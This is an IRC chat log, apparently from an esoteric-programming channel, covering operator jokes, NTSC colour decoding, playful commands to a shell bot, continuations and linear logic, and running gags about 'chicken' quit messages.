17:26:15 -!- gamemanj has joined.
17:36:09 -!- gamemanj has quit (Ping timeout: 244 seconds).
17:37:58 -!- Kaynato has joined.
17:49:04 -!- gamemanj has joined.
18:00:09 -!- nycs has joined.
18:01:40 -!- `^_^v has quit (Ping timeout: 250 seconds).
18:08:11 -!- FreeFull has quit (Ping timeout: 244 seconds).
18:21:51 -!- Koen_ has joined.
18:24:43 -!- Koen__ has quit (Ping timeout: 244 seconds).
18:26:02 <\oren\> if you type a symbol over and over it doesnt look valid anymore
18:27:01 <\oren\> is => a valid C++ operator? im not sure anymore
18:27:30 <int-e> doesn't look familiar
18:27:41 <izabera> you're thinking of the downto operator -->
18:27:50 <\oren\> i meant >=
18:28:17 <\oren\> but it should be =>
18:28:30 <int-e> why? it's "greater than or equal"
18:28:48 <int-e> and if you want mirror images, I'd rather have =< than =>
18:29:47 <int-e> or do you want an assignment operator corresponding to <?
18:29:54 <int-e> ... that doesn't seem very useful.
18:30:45 <\oren\> hmmm honestly they shoukd have[made : the assignment iperator
18:31:14 <int-e> ah, the keyboard alignment problems continue
18:31:46 <\oren\> and defined a 'operator combining syntax' explicitky
18:32:27 <\oren\> so :+ is just : +
18:33:16 -!- AnotherTest has joined.
18:34:00 <\oren\> and or + :
18:35:20 <\oren\> and similar x !>< y is the same as x = y
18:36:03 <\oren\> !>< is the not less or greater operator
18:36:40 -!- Koen_ has quit (Remote host closed the connection).
18:39:32 <ybden> \oren\: also >>= is a great C++ operator
18:40:05 * ybden recalls seeing someone overloading >>= to do binding in C++ somewhere
18:59:53 <shachaf> `spam
19:00:28 <HackEgo> 6/495:t to have sex in everything? I don't want. \ 790) <Phantom__Hoover> the scene: it is a warm summer's day in scotland, although one obscured by cloud and the fact that it is september \ 80) <AnMaster> fungot!*@* added to ignore list. <fungot> AnMaster: i'd find that a bit annoying to wait for an ack. \ 832) <shachaf> Do physici
19:00:46 <shachaf> `spam
19:00:47 <HackEgo> 7/495:sts have half-life crises? \ 670) <Phantom_Hoover> "Category 4 ("professional") fireworks are for sale only to fireworks professionals. They have no restrictions," <Phantom_Hoover> OK I need to become a pyrotechnician. <ais523> Phantom_Hoover: that's like wanting to become a locksmith <ais523> so that you can legally own lock
19:03:34 -!- AnotherTest has quit (Ping timeout: 260 seconds).
19:05:37 -!- Koen_ has joined.
19:06:18 <Koen_> \oren\: what's the difference between <> and >< ?
19:07:16 <gamemanj> <.> means you're confused, >.< means you're annoyed
19:07:29 <myname> :D
19:07:29 <izabera> <> is a diamond so it's much more expensive than the cheap ><
19:09:59 -!- nycs has quit (Quit: This computer has gone to sleep).
19:14:41 <int-e> <> has precedent in Pascal, IIRC
19:16:02 <gamemanj> fizzie: I'm now wondering what a ░▒▓█▓▒░ chicken is
19:16:20 <gamemanj> is it an evil-eye'd chicken, or is there a deeper meaning?
19:17:12 <gamemanj> izabera: So that's why BASICs are now extinct creatures!
19:17:24 <gamemanj> (Or at least an endangered species...)
19:17:51 <myname> VB, VBA, VBS, ... :p
19:18:06 <gamemanj> 1. who uses VBA and VBS
19:18:14 <gamemanj> 2. VB has been mutated into something very-not-BASIC
19:18:35 <int-e> virtual bullshit?
19:18:44 <gamemanj> (and besides, it's a Microsoft product, of course it has diamonds)
19:18:51 <myname> well, msoffice uses vba
19:18:58 <gamemanj> (...just expect the diamonds to be made out of glass...)
19:19:15 <int-e> window glass, hmm?
19:19:26 -!- `^_^v has joined.
19:19:52 <zzo38> I wrote a program to make NTSC decoding and tried to use with the picture http://3.bp.blogspot.com/-5HF7Iwp74Lk/VS6s1IYf7eI/AAAAAAAAAJY/k1mIBF4aAUA/s1600/1k07_cga_composite_solid_colors_1.png but the colours are wrong do you know why? I also tried https://upload.wikimedia.org/wikipedia/commons/f/fb/CGA_CompVsRGB_640.png and still it is wrong.
19:19:53 <gamemanj> int-e: No, the really poor-quality stuff
19:21:40 <gamemanj> zzo38: You'll probably want to try actually using a recorded NTSC signal
19:22:32 -!- Koen__ has joined.
19:22:40 <zzo38> gamemanj: I don't have any.
19:24:25 <myname> Never The Same Color
19:24:50 <gamemanj> Perfectly Accurate Label
19:25:10 -!- Koen_ has quit (Ping timeout: 244 seconds).
19:25:16 <zzo38> I mean it is hardly even close, even if I tamper with the phase and finetune settings.
19:27:14 <gamemanj> Yes, but how are you exactly decoding from a picture?
19:29:11 <zzo38> It expects a grayscale picture as input (it pays attention only to the red channel)
19:37:39 <zzo38> I tried using ImageMagick's HS_VERTICAL pattern as input and set it to advance the phase on each scan line, and the yellow and cyan colours are missing.
19:39:51 <zzo38> I used the command: convert -size 80x160 pattern:hs_vertical png:- | pngff | ff-solar rgb 0 | ff-enlarge 4 1 | ff-dntsc t=32 y=32 i=32 q=32 l=0 s=5 p=.5 | ffpng > /var/www/img_1A/test1.png This is the output: http://zzo38computer.org/img_1A/test1.png
19:44:29 <gamemanj> You have reg, green and blue...
19:44:32 <gamemanj> *red
19:45:15 <gamemanj> Looking at it, you have Cyan, it's just dark and desaturated.
19:45:36 <gamemanj> You also have yellow, but it's also dark and desaturated.
19:47:44 <zzo38> Is that due to the pattern I am using as input? I will try a different input
19:48:40 <b_jonas> zzo38: try lenna
19:48:47 <b_jonas> or the baboon
19:49:23 <zzo38> Do you have a NTSC version of those pictures?
19:49:50 <b_jonas> zzo38: no\
19:50:19 -!- hwpplayer1 has joined.
19:51:51 <zzo38> I tried using a different pattern (VERTICAL 2 with enlarging) and then when I zoomed I found that yes I do have yellow and cyan but it is dark and desaturated. Is NTSC supposed to work like that?
19:55:14 -!- adu has quit (Quit: adu).
20:04:21 <gamemanj> zzo38: I'm not an NTSC expert. Again, what's really needed is a recorded signal...
20:04:28 <gamemanj> Now, how to get one, IDK.
20:04:51 <gamemanj> Technically, all that's needed is one or two frames at 18-or-so Mhz.
20:05:15 <gamemanj> Assuming I'm not completely wrong.
20:05:28 <gamemanj> Trouble is, you can't exactly use a sound card to capture that.
20:05:35 -!- FreeFull has joined.
20:06:24 <pikhq> Yeah, you'd need a beefier ADC. Like an SDR or something.
20:06:38 <gamemanj> Or an FPGA...
20:06:42 <gamemanj> hmm
20:06:53 <pikhq> I say SDR because you could just get one.
20:07:03 <gamemanj> True
20:07:09 <gamemanj> assuming it captures fast enough...
20:07:10 <gamemanj> wait!
20:07:11 <pikhq> Though you'd probably wanna skip the radio frontend if you're doing composite in.
20:07:11 <gamemanj> I know!
20:07:16 <gamemanj> I know where you could get a signal
20:07:20 <gamemanj> hopefully
20:07:29 <gamemanj> just a matter of where the URL was...
20:07:44 <gamemanj> http://websdr.ewi.utwente.nl:8901/
20:07:48 <pikhq> It would. At least, some SDRs are perfectly capable of handling a 6 MHz signal.
20:08:11 <pikhq> The problem with that is, analog NTSC is not broadcast in the Netherlands. :)
20:08:41 <pikhq> Neat, though.
20:08:44 <gamemanj> ....
20:08:52 <gamemanj> and it doesn't go above 29Mhz
20:12:56 <gamemanj> Aha
20:12:58 <gamemanj> there's a list of them
20:13:08 <gamemanj> If there are any in the right range...
20:13:23 <gamemanj> Specifically 55.25
20:13:25 <gamemanj> Mhz
20:13:55 -!- AnotherTest has joined.
20:14:09 <gamemanj> ...it's like as if they're taking special care not to hit those ranges
20:19:40 <shachaf> `cat bin/`
20:20:22 -!- PinealGlandOptic has joined.
20:20:31 <HackEgo> ​#!/bin/bash \ TIMEFORMAT="real: %lR, user: %lU, sys: %lS" \ shopt -s extglob globstar \ eval -- "$1" | rnooodl
20:21:32 <shachaf> `` ls -l bin/\'
20:21:35 <HackEgo> lrwxrwxrwx 1 50000000 0 5 Dec 9 04:12 bin/' -> quote
20:21:37 <shachaf> clever
20:21:40 <shachaf> `culprits bin/'
20:21:54 <HackEgo> tswett tswett int-e
20:23:18 <shachaf> `mkx bin/1 \` "$@" | sport
20:23:20 <HackEgo> usage: mk[x] file//contents
20:23:26 <shachaf> `mkx bin/1//\` "$@" | sport
20:23:31 <HackEgo> bin/1
20:23:51 <shachaf> `1 for i in {1..1000}; do echo $i; done
20:23:54 <HackEgo> 1/18:1 \ 2 \ 3 \ 4 \ 5 \ 6 \ 7 \ 8 \ 9 \ 10 \ 11 \ 12 \ 13 \ 14 \ 15 \ 16 \ 17 \ 18 \ 19 \ 20 \ 21 \ 22 \ 23 \ 24 \ 25 \ 26 \ 27 \ 28 \ 29 \ 30 \ 31 \ 32 \ 33 \ 34 \ 35 \ 36 \ 37 \ 38 \ 39 \ 40 \ 41 \ 42 \ 43 \ 44 \ 45 \ 46 \ 47 \ 48 \ 49 \ 50 \ 51 \ 52 \ 53 \ 54 \ 55 \ 56 \ 57 \ 58 \ 59 \ 60 \ 61 \ 62 \ 63 \ 64 \ 65 \ 66 \ 67 \ 68 \
20:23:57 <shachaf> `spam
20:23:58 <HackEgo> 2/18: 69 \ 70 \ 71 \ 72 \ 73 \ 74 \ 75 \ 76 \ 77 \ 78 \ 79 \ 80 \ 81 \ 82 \ 83 \ 84 \ 85 \ 86 \ 87 \ 88 \ 89 \ 90 \ 91 \ 92 \ 93 \ 94 \ 95 \ 96 \ 97 \ 98 \ 99 \ 100 \ 101 \ 102 \ 103 \ 104 \ 105 \ 106 \ 107 \ 108 \ 109 \ 110 \ 11111111 \ 112 \ 113 \ 114 \ 115 \ 116 \ 117 \ 118 \ 119 \ 120 \ 121 \ 122 \ 123 \ 124 \ 125 \ 126 \ 127 \ 1
20:24:22 <shachaf> lynn: foiled by the nooodl
20:24:37 <Koen__> what's with the ones ?
20:25:23 <shachaf> What about them?
20:25:40 <shachaf> `speek 12
20:25:42 <HackEgo> 12/18: \ 622 \ 623 \ 624 \ 625 \ 626 \ 627 \ 628 \ 629 \ 630 \ 631 \ 632 \ 633 \ 634 \ 635 \ 636 \ 637 \ 638 \ 639 \ 640 \ 641 \ 642 \ 643 \ 644 \ 645 \ 646 \ 647 \ 648 \ 649 \ 650 \ 651 \ 652 \ 653 \ 654 \ 655 \ 656 \ 657 \ 658 \ 659 \ 660 \ 661 \ 662 \ 663 \ 664 \ 665 \ 66666 \ 667 \ 668 \ 669 \ 670 \ 671 \ 672 \ 673 \ 674 \ 675 \ 6
20:25:54 <shachaf> `speek 15
20:25:55 <HackEgo> 15/18:786 \ 787 \ 788 \ 789 \ 790 \ 791 \ 792 \ 793 \ 794 \ 795 \ 796 \ 797 \ 798 \ 799 \ 800 \ 801 \ 802 \ 803 \ 804 \ 805 \ 806 \ 807 \ 808 \ 809 \ 810 \ 811 \ 812 \ 813 \ 814 \ 815 \ 816 \ 817 \ 818 \ 819 \ 820 \ 821 \ 822 \ 823 \ 824 \ 825 \ 826 \ 827 \ 828 \ 829 \ 830 \ 831 \ 832 \ 833 \ 834 \ 835 \ 836 \ 837 \ 838 \ 839 \ 840 \
20:26:03 <shachaf> `speek 16
20:26:04 <HackEgo> 16/18:841 \ 842 \ 843 \ 844 \ 845 \ 846 \ 847 \ 848 \ 849 \ 850 \ 851 \ 852 \ 853 \ 854 \ 855 \ 856 \ 857 \ 858 \ 859 \ 860 \ 861 \ 862 \ 863 \ 864 \ 865 \ 866 \ 867 \ 868 \ 869 \ 870 \ 871 \ 872 \ 873 \ 874 \ 875 \ 876 \ 877 \ 878 \ 879 \ 880 \ 881 \ 882 \ 883 \ 884 \ 885 \ 886 \ 887 \ 888888 \ 889 \ 890 \ 891 \ 892 \ 893 \ 894 \ 895
20:27:33 <shachaf> Might make sense to upgrade ` to do it automatically.
20:27:37 <shachaf> Or might not.
20:30:07 <ybden> `which cat
20:30:08 <HackEgo> ​/bin/cat
20:30:11 <ybden> `which spam
20:30:13 <HackEgo> ​/hackenv/bin/spam
20:30:20 <ybden> `pwd
20:30:21 <HackEgo> ​/hackenv
20:30:26 <ybden> `ls bin/spam
20:30:27 <HackEgo> bin/spam
20:30:28 <ybden> `ls bin/
20:30:34 <HackEgo> ​` \ `` \ ^.^ \ ̊ \ \ ! \ ? \ ?? \ ¿ \ ' \ @ \ * \ ؟ \ \ \ \ 1 \ 1492 \ 2014 \ 2015 \ 2016 \ 2017 \ 5quote \ 8ball \ 8-ball \ aaaaaaaaa \ addquote \ addtodo \ aglist \ allquotes \ analogy \ anonlog \ append \ arienvenido \ as86 \ aseen \ asm \ autowelcome \ bardsworthlist \ before \ benvenuto \ bf \ bff \ bienvenido \ bienvenue \ bla
20:30:40 <ybden> hm
20:30:47 <ybden> `cat bin/`
20:30:48 <HackEgo> ​#!/bin/bash \ TIMEFORMAT="real: %lR, user: %lU, sys: %lS" \ shopt -s extglob globstar \ eval -- "$1" | rnooodl
20:31:34 <ybden> `which rnooodl
20:31:35 <HackEgo> ​/hackenv/bin/rnooodl
20:31:43 <ybden> `cat bin/rnooodl
20:31:44 <HackEgo> perl -pe 's/([^wW\W])\1\1/"@{[$1 x(3+rand 7)]}"/ge'
20:31:57 <ybden> `rnooodl
20:32:01 <ybden> `rnooodl test
20:32:16 <ybden> `rnooodl <<< test
20:32:30 <HackEgo> No output.
20:32:42 <HackEgo> No output.
20:32:55 <HackEgo> No output.
20:35:09 -!- AnotherTest has quit (Ping timeout: 260 seconds).
20:36:10 -!- adu has joined.
20:36:45 <int-e> `aaaaaaaaa
20:36:55 -!- `^_^v has quit (Quit: This computer has gone to sleep).
20:37:17 <HackEgo> No output.
20:37:37 <myname> wat
20:37:44 <int-e> `aaaaaaaaa How useful!!!!1
20:37:46 <HackEgo> Aaa aaaaaa!!!!4
20:49:59 -!- `^_^v has joined.
20:50:28 -!- `^_^v has quit (Client Quit).
20:52:06 -!- `^_^v has joined.
21:01:32 -!- adu has quit (Quit: adu).
21:07:37 -!- PinealGlandOptic has quit (Quit: leaving).
21:11:24 <coppro> \oren\: how comes the emoji?
21:16:05 -!- spiette has quit (Quit: :qa!).
21:25:49 <lynn> shachaf: That is an *amazing* nooodlification.
21:30:42 -!- idris-bot has quit (Quit: Terminated).
21:31:04 -!- Melvar has quit (Quit: thunderstorm).
21:34:47 <shachaf> lynn: what's a "fancy finite automata fact"
21:37:17 <lynn> {w | w contains an equal number of occurrences of the substrings 01 and 10} is regular!
21:37:45 <lynn> That's a nice little "wait, what?" moment.
21:37:50 <myname> is 010 counted twice?
21:37:55 <gamemanj> shachaf: Finite automata run your computer.
21:38:50 <shachaf> gamemanj: maybe they run your computer hth
21:39:00 <shachaf> lynn: Is the alphabet of size 2 or arbitrary?
21:39:10 <gamemanj> shachaf: they run most computers
21:39:16 <lynn> Oh, Σ = {0, 1}.
21:39:37 <gamemanj> Now, admittedly although it's finite, the amount of possibilities is huge...
21:39:41 <myname> well, the dfa is pretty easy
21:39:44 <gamemanj> but that does not change that it is a finite automata.
21:40:31 <lynn> Right. Once you think about what its strings look like, the DFA/regex writes itself
21:40:55 <lynn> But from its description, it sounds non-regular, because it's "counting".
21:41:05 <lynn> It's cute
21:50:43 <izabera> https://pbs.twimg.com/media/Cje7c52W0AAPxiY.jpg
21:53:34 -!- Reece` has quit (Read error: Connection reset by peer).
21:55:13 -!- Melvar has joined.
22:05:27 <\oren\> the oberth effect is creepy space voodoo
22:05:44 <b_jonas> `recipe
22:05:46 <HackEgo> ​ 2 c Water \ 2 tb Olives \ 1 ts Cornstarch \ 2 ea Eggs; beaten \ 1/2 c Milk \ 1 1/2 ts Earmean Cheese \ 1/4 ts Salt \ 1/4 ts Tumeric wafers, dried \ - blueberry sauce \ 1/2 c Freshly ground pepper seeds \ -- in seasoning \ Milk \ 8 oz Semisweet chocolate \ \ The sauce and left carefully with flour and stir in the bay leaf. Add ric
22:06:15 <b_jonas> what does " ea " mean there?
22:06:34 -!- `^_^v has quit (Quit: This computer has gone to sleep).
22:06:45 <b_jonas> that doesn't look as bad as some of the recipes by the way
22:06:47 <\oren\> each
22:06:57 -!- gamemanj has quit (Ping timeout: 260 seconds).
22:07:03 <b_jonas> \oren\: yeah, but what does that mean in this context?
22:07:14 -!- idris-bot has joined.
22:07:36 <\oren\> it foesnt make[srnse ij this context
22:07:41 <b_jonas> o
22:07:50 <b_jonas> `random-card
22:07:53 <HackEgo> Vulshok Morningstar \ 2 \ Artifact -- Equipment \ Equipped creature gets +2/+2. \ Equip {2} ({2}: Attach to target creature you control. Equip only as a sorcery.) \ DST-C, 9ED-U, DDI-U
22:08:00 <b_jonas> `random-card untap\b
22:08:02 <HackEgo> Jace Beleren Avatar \ Vanguard \ 0/0 \ {0}: Choose a player. That player reveals his or her hand. \ {0}: Choose a player. That player reveals his or her library. Choose any number of cards from it. That player puts those cards into his or her hand. \ {0}: Choose a player. Untap all permanents that player controls. \ {0}: Choose a permanent, spell,
22:10:44 -!- `^_^v has joined.
22:27:27 -!- hwpplayer1 has quit (Quit: Leaving.).
22:28:15 -!- hwpplayer1 has joined.
22:28:51 -!- hwpplayer1 has left.
22:32:02 -!- `^_^v has quit (Ping timeout: 258 seconds).
22:57:21 <izabera> the hello world in libgccjit takes .3s to run :(
22:57:46 <myname> this is a thing?
22:57:55 <izabera> yeah
22:58:11 <izabera> https://gcc.gnu.org/onlinedocs/gcc-6.1.0/jit/intro/tutorial01.html
23:01:53 -!- Sgeo has joined.
23:03:17 -!- hwpplayer1 has joined.
23:06:12 -!- hwpplayer1 has left.
23:10:01 -!- moon__ has quit (Ping timeout: 240 seconds).
23:10:04 -!- boily has joined.
23:10:47 <boily> `wisdom
23:10:53 <HackEgo> tisc//TISC is "The instruction set computers", which refers to computers with instruction sets.
23:14:18 -!- int-e has left ("COUNTERFEIT CHICKEN").
23:14:18 -!- int-e has joined.
23:16:47 <boily> int-ello. I will sue you! I don't know when nor how, but I will!
23:20:35 -!- evalj has joined.
23:22:32 <rntz> (call/cc (lambda (x) (call/cc (lambda (y) (x y)))))
23:23:41 <shachaf> `welcome rntz
23:23:43 <HackEgo> rntz: Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: <http://esolangs.org/>. (For the other kind of esoterica, try #esoteric on EFnet or DALnet.)
23:24:17 <rntz> what was the purpose of that? :P
23:24:29 <shachaf> Have you been welcomed here before?
23:26:11 <b_jonas> and if so, with rainbow or without?
23:29:20 <rntz> iono
23:29:27 <boily> what are your approximate coördinates and body weigh? what do you think about roast beef?
23:29:31 <shachaf> I wonder whether lem is a better primitive than callCC.
23:29:49 <b_jonas> shachaf: um, what lem?
23:30:18 <shachaf> `? lem
23:30:22 <HackEgo> Stanisław Lem was a Polish logician who discovered the law of excluded middle.
23:30:24 <shachaf> :t lem
23:30:25 <lambdabot> Cont r (Either (a -> Cont r v) a)
23:30:47 <shachaf> rntz: How do you express (callCC callCC) in Haskell?
23:31:11 * boily 's brain suddenly hurts...
23:31:15 <shachaf> rntz: Oh, based on what you said in the other channel you're probably thinking the same thing.
23:32:39 <boily> there are other channels?
23:32:45 <shachaf> `? #esoteric
23:32:47 <HackEgo> ​#esoteric is the only channel that doesn't exist. After monqy left it became slightly off-centër. It's about 30 m (100 ft) across. oerjan seems to be making a lawn in the northern part, but it keeps getting dug up by free ranging moons. May contain crude drawings of nuts.
23:33:26 <rntz> shachaf: lem is definitely not a better primitive than call/cc
23:33:32 <rntz> let/cc might be better than call/cc
23:33:39 <zzo38> I thought the same thing as if lem is a better primitive than callCC, and made up the implementation; you can use both
23:33:39 <rntz> but that's basically a matter of style
23:33:42 <shachaf> Wait, which one is let/cc?
23:33:47 <shachaf> Is that just the macro with the built-in binder?
23:33:49 <rntz> yes
23:33:51 <shachaf> Or is it the one that lets you do recursion?
23:33:59 <rntz> let/cc x in e = call/cc (lambda x. e)
23:34:36 <boily> @ask oerjan hellørjan. can I grow hot peppers on your northern lawn?
23:34:36 <lambdabot> Consider it noted.
23:34:38 <shachaf> @let letCC = callCC (return . fix)
23:34:40 <lambdabot> Defined.
23:34:58 <shachaf> i prefer that letCC hth
23:35:05 <rntz> it does not
23:35:10 <shachaf> Maybe it should be called getCC.
23:35:25 <shachaf> @let getCC = callCC (return . fix)
23:35:26 <lambdabot> Defined.
23:38:02 <shachaf> monochrom calls it setjmp in https://www.vex.net/~trebla/haskell/cont-monad.xhtml
23:39:31 <zzo38> There is also setjmp command in C
23:40:21 <rntz> yes, that's presumably the origin of the name
23:40:39 -!- yorick_ has changed nick to yorick.
23:40:43 <rntz> although I suspect this "setjmp" is a little more powerful
23:40:57 <shachaf> Don't you think the Either in lem is nice?
23:41:51 <shachaf> > (`runCont` id) $ do { e <- lem; case e of Left k -> k 5; Right x -> return x }
23:41:55 <lambdabot> 5
23:43:06 <zzo38> I did also did it like that.
23:43:43 <rntz> shachaf: you mean, as opposed to just bare (call/cc call/cc)? yes
23:43:52 <rntz> shachaf: or do you mean, as opposed to having call/cc as a primitive?
23:44:01 <shachaf> As opposed to having call/cc as a primitive.
23:44:04 <rntz> ah. no.
23:44:08 <rntz> :P
23:44:23 <shachaf> I also wondered whether dne is a better primitive.
23:44:50 <rntz> shachaf: btw, the way I found the scheme puzzle was by playing around with an unusual formulation of classical logic you might like: http://www.rntz.net/files/adjoint-classical-constructive.pdf
23:45:13 -!- evalj has quit (Remote host closed the connection).
23:45:40 <rntz> (it's like 2 pages long, I haven't actually finished/figured out the "adjoint" part of it)
23:45:42 <shachaf> Adjoint logic? Sounds a bit wholesome.
23:46:28 <rntz> wholesome?
23:46:49 <shachaf> Hmm, this logic is very classical.
23:47:13 <rntz> yyyes, that is the point
23:47:28 <shachaf> Yes.
23:50:51 <shachaf> I agree that that symmetry is pretty nice.
23:51:15 <shachaf> Is there a dual version with no introduction rules?
23:51:29 <rntz> I don't know!
23:51:42 <rntz> I suspect so.
23:51:48 <rntz> But I'd have to go work it out
23:52:10 <shachaf> Or is there some version of this for linear logic?
23:52:30 <rntz> hm, that I definitely don't know
23:52:51 <rntz> there are one-sided presentations of classical linear logic
23:52:59 <rntz> which makes me suspect there might be something like this
23:53:49 <rntz> I wonder what the classical-linear equivalent of contradiction (#) is
23:54:16 <rntz> (hell, there might even be more than one, linear logic is strange)
23:56:11 <shachaf> I bet there are two.
23:56:33 <shachaf> This is confusing because in ASCII you often write par as #.
23:56:59 <shachaf> Anyway, in linear logic, LEM is true with par.
23:58:37 <shachaf> I bet if I learned enough about Chu spaces I would know.
23:58:42 <shachaf> Do you know about Chu spaces?
23:58:49 <shachaf> `? chu space
23:58:51 <shachaf> `? rntz
23:59:04 <HackEgo> A Chu space is just a matrix. Taneb invented them, then Chu stole his invention.
23:59:04 <HackEgo> rntz? ¯\(°​_o)/¯
2016-06-04
00:01:12 <rntz> gah, how do you typeset a par-symbol (upside-down ampersand) in latex anyways
00:01:45 <shachaf> A⅋B
00:02:40 <zzo38> If you have a font that can support it then you can do it.
00:02:56 -!- Phantom_Hoover has quit (Read error: Connection reset by peer).
00:05:04 <shachaf> `learn rntz is a classically-trained logician known for his constructive criticism.
00:05:11 <HackEgo> Learned 'rntz': rntz is a classically-trained logician known for his constructive criticism.
00:05:25 <rntz> c.c
00:05:36 <rntz> stmaryrd has \binampersand and \bindnasrepma, which will do
00:06:01 -!- Phantom_Hoover has joined.
00:06:15 <shachaf> `spam
00:06:18 <HackEgo> 17/18: \ 896 \ 897 \ 898 \ 899 \ 900 \ 901 \ 902 \ 903 \ 904 \ 905 \ 906 \ 907 \ 908 \ 909 \ 910 \ 911 \ 912 \ 913 \ 914 \ 915 \ 916 \ 917 \ 918 \ 919 \ 920 \ 921 \ 922 \ 923 \ 924 \ 925 \ 926 \ 927 \ 928 \ 929 \ 930 \ 931 \ 932 \ 933 \ 934 \ 935 \ 936 \ 937 \ 938 \ 939 \ 940 \ 941 \ 942 \ 943 \ 944 \ 945 \ 946 \ 947 \ 948 \ 949 \ 950
00:06:49 <shachaf> I'm quite pleased with spore/spam/spout/spline/sport/speek
00:07:49 -!- hppavilion[1] has joined.
00:08:39 <rntz> `spore
00:08:51 <rntz> hm
00:08:57 <rntz> I don't know what I was expecting
00:09:10 <HackEgo> No output.
00:09:12 <quintopia> rntziao
00:09:18 <shachaf> `sport bin/distort
00:09:22 <HackEgo> 1/1:#!/usr/bin/env python \ import sys \ N=330 \ name = sys.argv[1] if len(sys.argv) > 1 else "/dev/stdin" \ with open(name, "r") as f: \ data = f.read().replace("\n", " \\ ") \ for i in xrange(0, len(data), N): \ print data[i:i+N] \
00:09:29 <shachaf> I guess it fits on one line.
00:09:44 <shachaf> rntz: Can you give me a good intuition for par?
00:10:06 <shachaf> Obviously you're a Chu space h8r. But somethign in terms of threads or parallel universes or something would be good too.
00:11:16 <rntz> (A par B) means you get A and B but their proofs can't interact with one another
00:11:28 <rntz> wait, no, opposite of that
00:11:40 <rntz> in (A tensor B) their proofs can't interact, but *you* can use them together
00:11:49 <rntz> in (A par B) their proofs can interact, so *you* can't use them together
00:12:41 <rntz> this is why (A par not A) works: the "not A" communicates with the "A" - you can think of it as a reified communication channel
00:12:58 <rntz> one end of the channel obeys "A", the other obeys "not A"
00:16:03 -!- adu has joined.
00:16:38 <Phantom_Hoover> starting to wonder if setting all my fonts to Biolinum was a good idea
00:17:54 <boily> Phantom_Helloover. it is a good idea, but Liberation is better hth
00:18:15 <fizzie> rntz: \usepackage{cmll} \parr says http://detexify.kirelabs.org/classify.html
00:18:25 <fizzie> (Man, *drawing* an upside-down ampersand was *really hard*.)
00:19:28 <Koen__> fizzie: convince yourself the sheet is upside-down and draw with your left hand (assuming you're right-handed, or right hand if left-handed)
00:19:47 <rntz> fizzie: oh, thanks
00:19:58 <boily> Kelloen__. long time no see.
00:20:03 <rntz> that looks rather better than stmaryrd, actually!
00:24:33 -!- idris-bot has quit (Ping timeout: 240 seconds).
00:25:33 -!- Melvar has quit (Ping timeout: 240 seconds).
00:32:12 -!- adu has quit (Remote host closed the connection).
00:44:26 -!- oerjan has joined.
00:46:55 <oerjan> @messages-
00:46:55 <lambdabot> gamemanj said 11h 41m 32s ago: I've lost context as to what you said...
00:46:55 <lambdabot> gamemanj said 11h 40m 51s ago: Is it irony when you fake a quit, and then you get a standard scheduled network disconnection shortly after?
00:46:55 <lambdabot> gamemanj said 11h 40m 34s ago: Because that's what happened to me ^.^;
00:46:55 <lambdabot> boily asked 1h 12m 18s ago: hellørjan. can I grow hot peppers on your northern lawn?
00:47:12 <oerjan> bah should have checked the number.
00:47:55 <oerjan> @tell gamemanj so have i hth
00:47:55 <lambdabot> Consider it noted.
00:48:18 * oerjan did that on purpose
00:48:19 <fizzie> boily: By the by, ff you're interested, I sprunged some chicken stats recently.
00:48:56 <boily> !
00:49:00 <fizzie> http://sprunge.us/FIcQ
00:49:11 <boily> wooooah... :D
00:49:29 <oerjan> øhoily. just chilli out here whenever you want.
00:50:22 * boily hugs fizzie
00:50:31 <oerjan> . o O ( REPETITIVE CHICKEN )
00:51:06 * boily thwacks oerjan. 0.5 shachafs.
00:51:41 <oerjan> yeah i couldn't think of a better one.
00:51:55 <izabera> i wrote a go playing bash program
00:52:03 <izabera> this is its first game http://i.imgur.com/BVW1Tr1.gif
00:52:05 <izabera> bot is black
00:52:31 <boily> izabellora!
00:52:37 <izabera> helloily
00:52:53 <oerjan> how dare you bash go!
00:53:05 <izabera> haha
00:53:23 -!- Koen__ has quit (Quit: “It’s only logical. First you learn to talk, then you learn to think. Too bad it’s not the other way round.”).
00:53:24 * boily thwacks oerjan again. 0.91 shachafs.
00:53:29 <oerjan> yay
00:53:51 * shachaf ###----- boily *
00:53:54 <zzo38> izabera: It doesn't look like very good?
00:54:00 <izabera> it only plays mirror go <.<
00:54:15 <boily> fizzie: was this agglomerated from everybody who chickened? some of them don't quite follow the Regular Pattern of the Thing.
00:54:19 <izabera> it's like 2 lines of code + 28 lines of boilerplate to speak the protocol
00:54:29 * boily wobbles and wiggles from shachaf's swat
00:55:36 <fizzie> boily: It's supposed to be just you (target = '#esoteric' and nick = 'boily' and type = 'quit' and body like '% CHICKEN') but logs are not an exact science.
00:55:43 <shachaf> I didn't swat anyone.
00:57:15 <oerjan> i'm pretty sure i read there's a way to bit a player mirroring you. also, i suspect you can make mirroring an illegal move by clever capturing.
00:57:21 <oerjan> *to beat
00:57:49 <oerjan> (which might be how to beat it, fwiw)
00:59:15 <boily> biting players is generally frowned upon hth
01:00:28 <boily> strangely, I pectoralchickened twice. not surprised about the polycyclopeanism.
01:00:33 <boily> s/twice/thrice/
01:01:48 <oerjan> i guess that gif pretty much proves the first part.
01:02:03 <rntz> shachaf: ok, I have literally guessed at what the rules for a three-judgment-style classical linear logic should look like and put them into http://www.rntz.net/files/adjoint-classical-constructive.pdf (page 3, section 2)
01:07:18 <oerjan> boily: is the YEARLY CHICKEN actually yearly twh
01:08:57 <boily> good question. I don't think so it's yearly yet. it ought to!
01:09:16 <boily> . o O ( what's the chickenest day of the year? )
01:11:13 <hppavilion[1]> boily: 2 days before thanksgiving hth
01:11:36 <fizzie> 2014-12-11 23:04:31+00 | Quit: YEARLY CHICKEN
01:11:36 <fizzie> 2015-12-24 05:01:58+00 | Quit: YEARLY CHICKEN
01:11:36 <fizzie> 2016-03-11 02:40:13+00 | Quit: YEARLY CHICKEN
01:11:43 <hppavilion[1]> (Chicken evolves into X! // X evolves into Turkey!)
01:11:51 <boily> hppavellon[1].
01:11:59 <hppavilion[1]> boily: Solve for X
01:12:41 <boily> fizzie: the second one happens to be midnight localtime between December 23 and 24. my birthday's on the 24th hth
01:12:54 <zzo38> O, clearly it must be Sunday, I suppose (if you are Canadian)
01:13:28 <boily> so two days before Canadian Thanksgiving it is.
01:13:49 <oerjan> boily: alas you seem to have used up this year's
01:13:58 <boily> yup. we'll have to wait.
01:14:01 <fizzie> The chickenest of the year per my logs is a shared honour between March 16th, May 16th and May 17th, with 7 chickens each.
01:14:16 <zzo38> (By which I mean X is Sunday; Thanksgiving is Monday)
01:14:42 <oerjan> so wednesday in the us, then
01:15:28 <boily> Chicken evolves into Sunday?
